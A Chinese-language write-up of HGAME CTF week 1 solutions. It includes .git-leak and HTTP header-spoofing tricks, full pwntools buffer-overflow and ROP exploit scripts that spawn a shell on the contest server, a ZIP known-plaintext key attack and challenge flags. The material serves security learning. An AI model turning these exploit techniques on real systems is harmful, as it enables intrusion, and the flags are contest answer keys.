Hgame-week1-writeup
hgame ctf比赛第一周的writeup
Web
Cosmos 的博客
打开后是这个样子
版本管理工具和GitHub都标记明显,想到应该是.git
文件夹的泄露。但是直接访问http://cosmos.hgame.n3ko.co/.git/是显示404,不管了,直接上工具GitHack
运行命令:
python GitHack.py http://cosmos.hgame.n3ko.co/.git/
然后在这个工具所在位置下的目录dist/cosmos.hgame.n3ko.co/.git/
下,发现config
文件有问题(找了好久才发现)
然后就去上图中的仓库https://github.com/FeYcYodhrPDJSru/8LTUKCL83VLhXbc找,发现其中一个commit有flag信息:
根据提示解码得到flag:hgame{g1t_le@k_1s_danger0us_!!!!}
接 头 霸 王
首先当然是打开链接啦
根据提示说要从https://vidar.club/过来这个页面,那就去google下http的头哪些可以表示从哪里跳转来的,发现一个Referer
头,扔到burpsuite里试
看来又要从本地访问,那肯定是伪造ip成127.0.0.1
了,google发现X-Forwarded-For
头可以伪造请求ip,再扔burpsuite里
枯了,还要改浏览器标识,User-Agent
头改成Cosmos
即可
。。。还要改一下请求方式
最后这个,呃,要伪造发出请求时的时间成2077年之后,然后google了所有有关时间的http头,一个一个试(此处省略无数次失败),还问了下出题人,出题人的灵魂拷问
“你都试过了吗?试了哪些?”
突然发现我好像还没试完,想起之前忽略了的If-Unmodified-Since
头,随后还真是!!!
于是得到flag:hgame{W0w!Your_heads_@re_s0_many!}
Code World
开局就是一个403 Forbidden
而且url本来是http://codeworld.hgame.day-day.work,却变成http://codeworld.hgame.day-day.work/new.php,那应该是跳转了
好在我有burpsuite(多次打广告行为)
图中的文字也印证了我的想法(cosmos被黑的好惨
那就直接访问链接http://codeworld.hgame.day-day.work,看看跳转前都有什么
看到这个Not Allowed我懵了好久,难道我错了?卡了半天就去做misc题了(而且还一题没做出来),一段时间后突然有想法,去搜了下405状态码是什么意思,发现
405 Method Not Allowed
请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。
原来是请求的方法不对,虽然返回包中没有Allow头告诉我用什么方法请求,但最常用的除了GET就是POST了,那就改POST请求
这里要提交url参数a,计算两个数相加结果为10,一个参数传两个值,一想就想到php的url传数组的方式
?a[]=1&a[]=9
发现不对,url编码后再提交,发现还是不对,又卡住了。。。
最后,有个hint说a的参数的格式是a=b+c
(此时已经有好多人解出来了),最后提交
?a=1%2b9
(+号编码后为%2b)
遂得flag:hgame{C0d3_1s_s0_S@_sO_C0ol!}
🐔尼泰玫
这标题!这界面!
律师函警告?!
咳咳!
最下面那行字说,只要分够,flag尽管拿,当然是开挂啦,开着burpsuite抓包,先玩一遍(玩着玩着忘了我在做ctf题)
发现有一个请求包发送了分数
(不是我!别问了!我怎么可能只有500分!)
也不知道|
后面那个是什么,先改了分数成999999
嘻嘻,成了!flag:hgame{j4vASc1pt_w1ll_tel1_y0u_someth1n9_u5efu1?!}
(做完后发现flag中有提示javascript的,看了下js文件,发现score参数字符|
后面那个是时间戳的md5值,没什么影响)
Reverse
maze
拖入ida,f5反汇编,简单处理一下后
迷宫类题目,wsad
为上下左右,图中的v5代表当前位置,水平方向移动4个字节,一行有64个字节
可以直到unk_602080
和unk_60247C
是地图的边界了,且1为不可走,我的做法是把数据导(至于怎么导出查资料)出来,1用字符#
打印,0用空格打印,画出地图来走迷宫,做是做出来了,有点麻烦,如下图
其中的x
是我标记的起点和终点。这样做很麻烦,我也不详细讲了,做完后学长提示,把4个字节看成一个单位会比较简单,呃,当我看到上上图中的*(_DWORD *)v5 & 1
的时候,我居然没发现这个问题?!
那么就按照4字节一个单位导出后,最低位为1的画成#
,其余画成空格,地图如下:
这样简单多了,flag:hgame{ssssddddddsssssddwwdddssssdssdd}
bitwise_operation2
首先,拖入ida,找到main函数反汇编
红框可以看到,再加上后面有个异或操作,而且这样的访问方式揭示了是v6,v7,…,v13是个数组,可以修改一下变量的定义:
类似的操作(其余修改变量函数名,修改类型什么的可以自己查资料学习下),分析完后如下:
加上我的注释应该很明了,倒推flag1,flag2然后倒推flag就好,exp如下:
#include <stdio.h>
#include <stdlib.h>
typedef unsigned char byte;
byte key[] = {76, 60, -42, 54, 80, -120, 32, -52};
byte arr1[] = "e4sy_Re_";
byte arr2[] = "Easylif3";
int main(int argc, byte const *argv[])
{
//得到第一个for循环后的flag1,flag2
byte flag1[8], flag2[8];
for(int i = 0; i < 8; i++)
flag1[i] = arr1[i] ^ key[i];
for(int i = 0; i < 8; i++)
flag2[i] = arr2[i] ^ arr1[i] ^ key[i];
//for循环前的flag1和flag2
for(int i = 0; i < 8; ++i)
{ //再交换一次不就换回来了咯
flag1[i] = flag1[i] & 0x55 ^ ((flag2[7 - i] & 0xAA) >> 1) | flag1[i] & 0xAA;
flag2[7 - i] = 2 * (flag1[i] & 0x55) ^ flag2[7 - i] & 0xAA | flag2[7 - i] & 0x55;
flag1[i] = flag1[i] & 0x55 ^ ((flag2[7 - i] & 0xAA) >> 1) | flag1[i] & 0xAA;
//记得这个步骤
flag1[i] = (flag1[i] << 5) | (flag1[i] >> 3);
}
//得到flag
printf("hgame{");
for (int i = 0; i < 8; ++i)
{
uint ch = flag1[i];
printf("%02x", ch);
}
for (int i = 0; i < 8; ++i)
{
uint ch = flag2[i];
printf("%02x", ch);
}
printf("}\n");
return 0;
}
运行程序得flag:hgame{0f233e63637982d266cbf41ecb1b0102}
advance
常规操作,我也写了注释,改了变量名和函数名
下面那个strncmp的字符串一开始我数了下长度,是4的倍数,那时候开始我就猜是base64编码了,但是直接解密不太对。在encrypt函数里(这个名字当然是我自己改的)发现
查过base64的原理,知道有一个编码表的,那么这里应该是把标准的表换成这里的表来编码的,那解密的时候先把字符换回来再解密,python3的exp如下:
#!/bin/python3
import base64
import string
# 待解密脚本
str1 = "0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX"
# 题目中的表
string1 = "abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
# 原base64的表
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# 先把编码后的字符串str1的字符一一对应回原base64表的字符再解码
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
得到flag:hgame{b45e6a_i5_50_eazy_6VVSQ}
cpp
注意:本题有大量的猜测
运行过一遍后,发现输入错误会显示error
,那么拖入ida,Alt+F4搜索”error”字符串可以找到main函数。
首先看到的是std::cin,大胆猜测这个操作相当于std::cin >> v16
,先进去sub_140002AE0
函数分析了一波,没怎么看懂,而且有很多无意义的代码。然后自己写了段c++代码,大概如下
#include <iostream>
#include <string>
int main()
{
string s;
std::cin >> s;
return 0;
}
编译后拖入ida反汇编,发现有和红框中相似的代码,于是大胆猜测,sub_140002AE0
函数是string类的构造函数,顺便也猜测到了一个vector类,还有一些类的方法(幸好我有点c++基础),分析完后大概是这样的:
(可以发现我的注释里充满了“可能”,“应该”)
看到那三层循环,和我之前写过的矩阵乘法很像,再加上hint说让我翻开线代课本,贯穿线代课本的除了矩阵还是矩阵,那么可以肯定这就是个矩阵乘法。
和我添加的注释一样,rect_input * rect1 = rect2
这个rect_input 是输入,格式是hgame{r11_r12_r13_r20_r21_..._r33}
,r11表示这是矩阵的第(1, 1)个元素
那简单了,解矩阵方程就好,找了个在线网站求rect1的逆,根据我的分析rect1[0][1]
这个元素未知,盲猜0(其实也不是盲猜,因为我试了好多,发现rect1的逆都有小数,只有0的时候结果是整数)
最后解出矩阵input写成flag就行:hgame{-24840_-78193_51567_2556_-26463_26729_3608_-25933_25943}
Pwn
Hard_AAAAA
看下图
直接提供了一个后门,只要那么memcmp返回值为0即可getshell。
需要注意的是,memcmp这个函数是逐字节比较,相等才返回0,这里是比较7个字节(第三个参数),但是这个”0O0o”只看到4个字节+1个\0(结束符),还有2个字节不知道,那么双击这个字符串,可看到,剩下两个字节是O0
只要溢出,把v5地址处开始覆盖成0O0o
+ \0 + O0
这7个字节即可,exp如下:
#!/bin/python2
from pwn import *
#io = process('./Hard_AAAAA')
io = remote('47.103.214.163', 20000)
payload = 'A' * 0x7b + '0O0o\x00O0'
io.recvuntil('0!\n')
io.sendline(payload)
io.interactive()
getshell之后,读取flag文件
Number_Killer
红框框起的部分为关键部分
其实就是根据读入的字符串转换成数字填到数组里,但是数组大小只有11,循环读入数字的次数却是19,每次可以写8个字节(__int64是8个字节),足够溢出修改返回地址了。
需要注意的是溢出到循环变量i的时候,不要修改变量i的值,也就是说第12次读入数字的时候,要保持变量i的值是11,还有就是i是4字节整数,它刚刚好在数组v4之后的8个字节的高4个字节处,也就是说,我们第12次读入的数字转成8字节整数时,其高4个字节看成一个int型整数,必须是11,那么最简单就写47244640256
这个数就好了(47244640256 >> 32 == 11),exp如下:
#!/bin/python2
from pwn import *
from LibcSearcher import *
def packAddr(addr):
return str(addr) + '\n'
elf = ELF('./Number_Killer')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret_addr = 0x400803
main_addr = 0x4006f6
# 这个数写成8个字节,高处4字节当作一个整数解析刚刚好是11,即47244640256>>32 == 11
# 数组大小为11,循环变量占了8个字节整数中的高4个字节,压入的rbp占了8个字节(一个数转成8个字节),所以这里为13
payload = '47244640256\n' * 13
payload += packAddr(pop_rdi_ret_addr) + packAddr(puts_got) + packAddr(puts_plt)
payload += packAddr(main_addr)
payload += '0\n' * 3
#io = elf.process()
io = remote("47.103.214.163", 20001)
io.recv()
io.send(payload)
puts_addr = io.recvline()[:-1]
puts_addr = puts_addr + '\x00' * (8 - len(puts_addr))
puts_addr = u64(puts_addr)
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
base_addr = puts_addr - libc.dump('puts')
bin_sh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')
payload = '47244640256\n' * 13
payload += packAddr(pop_rdi_ret_addr) + packAddr(bin_sh_addr) + packAddr(system_addr)
payload += packAddr(main_addr)
payload += '0\n' * 3
io.send(payload)
io.interactive()
flag:略(哈哈哈,自己运行脚本)
One_Shot
关键位置:
读入一个地址,将这个地址指向的那个字节赋值为1(一开始还以为是把name变量修改成flag,后来发现不可能)
其实问题很简单,先看下图:
可以发现name和flag相邻,那么我们只需读入的name刚刚好结束符\0的下一个字节开始就是flag的第一个字节,那么通过这个*v4=1
把结束符\0修改成1,也就是v4的输入为0x6010E0
这个数的字符串(这个地址是固定的,并没有随机),那么printf的时候就会连着把flag给输出了,exp如下:
#!/bin/python2
from pwn import *
name = '*' * 31
addr = str(0x6010DF)
#io = process('./One_Shot')
io = remote('47.103.214.163', 20002)
io.sendline(name)
io.sendline(addr)
print(io.recv())
(怪不得题目叫这个)
ROP_LEVEL0
其实很明了,没有canary保护,题目提示可以通过文件读写操作把flag读出来,试了下不知道为什么一直错,然后就放弃了,所以我直接构造ROP,exp如下:
#!/bin/python2
#coding=utf8
from pwn import *
from LibcSearcher import *
elf = ELF('./ROP_LEVEL0')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = 0x40065b
pop_rdi_ret = 0x400753
#io = elf.process()
io = remote('47.103.214.163', 20003)
# 泄露puts的地址从而得到libc库的版本,strat为函数的开头,跳转回这里相当于再来一次机会溢出
payload = 'a' * 0x48 + 'a' * 16 # 0x48个用于填充,8个字节是那个fd数组,8个字节是rbp
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
io.recv()
io.sendline(payload)
puts_addr = io.recvuntil('\n')[:-1] # 最后一个字符是\n
puts_addr = puts_addr + '\x00' * (8-len(puts_addr))
puts_addr = u64(puts_addr)
print(hex(puts_addr))
# 计算各个重要的地址
libc = LibcSearcher('puts', puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr = base_addr + libc.dump('system')
bin_sh_addr = base_addr + libc.dump('str_bin_sh')
# 得到地址后,pwn!
payload = 'a' * 0x48 + 'a' * 16
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
Crypto
InfantRSA
查一下密码学RSA的资料,知道p,q,e可以算出用来解密的d(目前只是简单了解了下),题目已经给出来了,那么exp如下:
#!/bin/python2
#coding=utf8
import gmpy2
p = 681782737450022065655472455411
q = 675274897132088253519831953441
e = 13
c = 275698465082361070145173688411496311542172902608559859019841
# 算出d
phi_n = (p-1) * (q-1)
d = int(gmpy2.invert(e, phi_n))
# 解密c
m = pow(c, d, p*q)
# m是一个数,需要转换成我们想要的字符串
flag = hex(m).strip('0x').strip('L') # python2长整数最后面会有个字符L
flag = flag.decode('hex')
print(flag)
Affine
根据题目,搜索Affine,可以查到仿射加密。
仿射加密要求这个A必须与MOD互素,其实A是MOD内的一个素数(或者1),然后这个B其实就是一个偏移(当A=1的时候,这个加密就是凯撒加密了),我们只需要枚举A和B,如果A和B仿射加密hgame
后是A8I5z
那么这对A和B就是正确的,exp如下:
#!/bin/python2
#coding=utf8
import gmpy2
TABLE = 'zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCVBNM'
MOD = len(TABLE)
flag = 'hgame'
encrypt_flag = 'A8I5z'
data = 'A8I5z{xr1A_J7ha_vG_TpH410}'
def encrypt(flag, A, B):
"""加密算法"""
cipher = ''
for b in flag:
i = TABLE.find(b)
if i == -1:
cipher += b
else:
ii = (A*i + B) % MOD
cipher += TABLE[ii]
return cipher
def decrypt(data, A, B):
"""解密数据"""
# 算出a的乘法逆元素a_,解密需要a_
for i in range(MOD):
if i*A % MOD == 1:
a_ = i
break
# 根据a_解密
result = ''
for ch in data:
i = TABLE.find(ch)
if i == -1:
result += ch
else:
ii = a_ * (i - B) % MOD
result += TABLE[ii]
return result
def generate_prime(max_num):
"""生成max_num以内的素数"""
for i in range(max_num):
if gmpy2.is_prime(i):
yield i
# 枚举A和B
for b in range(MOD):
for a in generate_prime(MOD):
if encrypt(flag, a, b) == encrypt_flag:
#print('A=%d, B=%d', a, b)
ret = decrypt(data, a, b)
print(ret)
break
not_One-time
一开始查到many-time-pad,但是以现有的工具都不行,学长说不是这样搞的。。。
然后我在一个many-time-pad的攻击脚本中得到灵感,它是根据语义自己猜出明文或者密钥。
然后我想了下,哪里用自己猜,直接爆破flag不就得了。
异或运算有个特点:A xor B xor B == A
,样本数据(就是加密后的数据)是这么来的:明文 xor flag == sample
而且明文规定了只有:charset = string.ascii_letters+string.digits
,那么只要样本数据和爆破的flag异或,如果结果都是charset范围内的字符证明flag有可能是正确的,只要搜集够多的样本,那么可能的flag就越少。
用到的脚本如下:
收集一条数据用的脚本:
#!/bin/python2
import base64
data = raw_input()
decode_bytes = base64.b64decode(data)
print decode_bytes.encode('hex')
用法:nc 47.98.192.231 25001 | python2 get_sample.py >> samples.txt
保存数据在samples.txt文件里,运行多次上述命令,大概搜集够50条数据就够了
然后,用这些数据进行爆破的flag的验证:
#!/bin/python2
#coding=utf8
import string
from queue import Queue
charset = string.ascii_letters+string.digits # 被加密的文本的字符集
def load_sample(file_name):
with open(file_name) as fd:
samples = []
for line in fd:
line = line.strip('\n')
samples.append(line.decode('hex'))
return samples
def xor(a, b):
return chr(ord(a) ^ ord(b))
def validate(samples, ch, index):
"""样本数据与flag异或来验证"""
for s in samples:
ret = xor(s[index], ch)
if ret not in charset:
return False
return True
flag_len = 42 # flag长度是43 最后一个是 }
q = Queue()
q.put('hgame{')
samples = load_sample('./samples.txt') # 数据存放在samples.txt文件
#print(samples)
#assert False
count = 1
# 爆破flag, 密文要足够多
while not q.empty():
flag = q.get()
count -= 1
next_index = len(flag)
for ch in string.printable:
if validate(samples, ch, next_index):
new_flag = flag + ch
if len(new_flag) == flag_len:
print new_flag + '}'
else:
#print('now: %s' % new_flag)
q.put(new_flag)
count += 1
print('count: %d' % count) # 显示出可能的结果数,如果太多就再多收集点密文
Reorder
一开始把题目看错成Recoder,瞬间懵了,然后才发现其实就是打乱了flag的顺序。
直接上做题过程图(嘻嘻,刚好这题留了图,再也不敢不留图了T_T)
Misc
欢迎参加HGame!
百度发现要base64解码,解码后是摩斯电码:
.-- ...-- .-.. -.-. ----- -- . ..--.- - --- ..--.- ..--- ----- ..--- ----- ..--.- .... --. .- -- ...--
然后去找个摩斯电码在线解密的网站解密即可,要注意的是我找到的大部分网站的摩斯电码的分隔符都是/
,而这里是空格,所以我还把全部空格换成了/
才成功解密
壁纸
压缩包解压后是张图片,kali上用binwalk查看发现图片里隐藏了压缩包,且提示解压密码是图片ID:
分离出压缩包:
解压压缩包,密码是图片ID,这个ID是P站上的对应的这张图的ID(我一个不懂二次元的硬生生从百度识图一直挖到P站,虽然我也不怎么懂这个P站是什么东东,只是听说过),解压后获得一个flag.txt文件:
看样子是unicode编码,其实直接当16进制编码处理就好了,python处理一下就好:
克苏鲁神话
解压压缩包后,有文本文件Bacon.txt和压缩包Novel.zip,压缩包有密码。然后这个压缩包里面也有一个文本文件叫Bacon.txt,把Bacon.txt这个文本文件单独压缩,发现校验码和Novel.zip里的Bacon.txt文件的一样,那么可以确定是一样的文件,查资料发现可以使用明文攻击,可以爆破出加密密钥(不是密码)。
可以用rbkcrack工具来破解,安装我就不细说了,直接破解:
rbkcrack.exe -C Novel.zip -c Bacon.txt -p Bacon.txt -P Bacon.zip
其中-C Novel.zip
是要破解的压缩包,-c Bacon.txt
是Novel.zip里面的已知的那个文件的路径,-p Bacon.txt
是已知的明文文件,-P Bacon.zip
是已知的Bacon.txt压缩后的zip文件
得到密钥,flag肯定在压缩包里的那个.doc文件里啦,解密出来
rbkcrack.exe -C Novel.zip -c 'The Call of Cthulhu.doc' -k 720b7516 d2d6a716 2c24dcae -u -d xx.doc
发现.doc文件打开需要密码,那么密码是从Bacon.txt里解到的(其实我是先解出了.doc文件的密码,才来破解压缩包的),无意间翻译了Bacon这个单词,发现有”培根“的意思,而且还查到了培根密码,然后Bacon.txt里的内容是这样的:
一些是大写,一些是小写,大写字母当作a,小写字母当作b,空格标点去掉,那么得到培根密码:
拿去找在先网站解密:
然后根据提示,大写的那一串就是.doc文件的密码,打开后只是一篇文章,flag隐藏在.doc文件里,打开word文档隐藏字体的显示选项即可。大概方式依次点击:文件->选项->显示->隐藏文字
flag在文档最底部:
签到题ProPlus
根据提示
把前三行文字,找个网站用栅栏密码解密,每组数字为3
然后凯撒密码解密,偏移为5
得到压缩包的解密密码,解压后获得一个文本文件:
复制了两行去搜索,发现是Brainfuck/Ook!编码,又找了个在线网站去解:
看来是base32编码,解码!
解码后,最后面有两个等号,看起来是base64编码(一开始用base32继续解码发现不行),然后去base64解码,发现大多网站不是说字符过多,就是直接解不出来,然后用python解
截取前50个字节看看,发现有PNG头,那么这些数据就是一个PNG图像文件的数据,那么保存到一个.png文件,打开发现是个二维码
扫码得flag哟!
每日推荐
一个.pcapng文件,用wireshark分析,发现有很多http的包,那就筛选http的包出来
逐个查看,发现有一个http的请求,上传了一个压缩包
导出这个压缩包,保存为song.zip:
压缩包是有密码保护的,用二进制编辑器打开可发现末尾有提示
密码是6位数字,那直接爆破好了,用什么软件就不细说了,爆破后解压到一个MP3文件(这首歌很好听!)
用Audacity软件打开查看频谱图可得flag
总结
第一周艰难的把题目都做了
web的cxk游戏很好玩!
re看汇编和反汇编很头疼
Pwn乍一眼一看,想复杂了
Crypto学了不少东西(虽然不怎么懂)
misc脑洞真大!!!
”不问出题人不知道,一问就知道自己的问题有多弱智“